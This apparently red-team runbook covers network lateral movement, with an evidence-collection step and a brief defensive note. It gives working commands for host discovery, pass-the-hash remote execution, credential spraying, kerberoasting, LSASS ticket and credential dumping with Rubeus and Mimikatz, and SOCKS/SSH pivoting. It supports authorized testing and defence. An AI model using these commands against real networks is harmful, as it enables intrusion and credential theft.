Runbook: Network lateral movement¶
Objective¶
Move from the initial foothold to higher-value targets inside the network, using network-level techniques to reach systems that cannot be accessed directly from outside.
Prerequisites¶
An initial foothold with network connectivity to internal segments.
Credential material from the initial compromise: plaintext password, NTLM hash, or Kerberos ticket.
Impacket suite and proxychains for pivoting through restricted segments.
Phase 1: Establish the network picture¶
From the initial foothold, map the surrounding network:
# What networks can this host reach?
ip route
netstat -rn
# What hosts are on each reachable segment?
for subnet in 192.168.1.0/24 10.0.0.0/24; do
nmap -sn $subnet -oG - | grep Up | awk '{print $2}'
done
# What services are running on interesting hosts?
nmap -sT -Pn -p 22,80,135,139,443,445,3389,5985,5986 <host-list>
Map trust relationships: which domain controllers are reachable, whether LSASS contains credential material for other systems, and which services are configured with domain accounts.
Phase 2: Credential-based movement¶
With compromised domain credentials or hashes, move to reachable Windows hosts:
# WinRM (PowerShell Remoting)
evil-winrm -i <target-IP> -u administrator -H <NTLM-hash>
# SMB with pass-the-hash
smbexec.py -hashes :<NTLM-hash> domain/administrator@<target-IP>
psexec.py -hashes :<NTLM-hash> domain/administrator@<target-IP>
# WMI execution
wmiexec.py -hashes :<NTLM-hash> domain/administrator@<target-IP>
For Linux targets with SSH keys or reused passwords:
ssh -i stolen_key user@<target-IP>
# Test reused credentials against all SSH-accessible hosts
crackmapexec ssh <ip-range> -u user -p password
Phase 3: Kerberoasting for lateral movement¶
From any domain user session, extract service tickets for offline cracking:
GetUserSPNs.py domain/user:password -dc-ip <DC-IP> -request -outputfile kerberoast-hashes.txt
hashcat -m 13100 kerberoast-hashes.txt /usr/share/wordlists/rockyou.txt
If service accounts have local admin rights on other hosts (visible in BloodHound), cracked service account credentials provide direct lateral movement.
Phase 4: Token and ticket abuse¶
From a Windows session, harvest tickets and tokens:
# Dump tickets from LSASS with Rubeus
.\Rubeus.exe dump /nowrap
# Import a ticket for pass-the-ticket
.\Rubeus.exe ptt /ticket:<base64-ticket>
# Harvest credentials from LSASS with Mimikatz
privilege::debug
sekurlsa::logonpasswords
Tickets and hashes from LSASS provide direct access to any service the harvested accounts can reach, without needing to crack passwords.
Phase 5: Pivoting through SOCKS¶
When the target cannot be reached directly, route through a compromised intermediate host:
# On the attacker machine, start a SOCKS proxy through the foothold
ssh -D 9050 -N user@foothold-host
# Use proxychains to route tools through the pivot
proxychains evil-winrm -i <internal-target-IP> -u administrator -H <hash>
proxychains smbexec.py -hashes :<hash> domain/admin@<internal-target-IP>
For multi-hop pivoting (reaching a third segment through the second):
# SSH port forward from foothold to second pivot
ssh -L 8022:<second-pivot>:22 user@foothold-host -N
# SOCKS through the second pivot
ssh -D 9051 -p 8022 user@localhost -N
Evidence collection¶
Record: each host accessed, the credential or technique used, commands executed, data accessed, and the network path taken. Include a diagram or list of the pivot chain from initial foothold to each reached host.
Active Directory and domain trust attack doctrine is in Active Directory and domain trust attacks.
Counter moves¶
Runbook: Network lateral movement is the case here. Segmentation, egress filtering, and flow baselining are the durable answers. Seen from the other side, this sits in the blue notes on traffic patterns as evidence.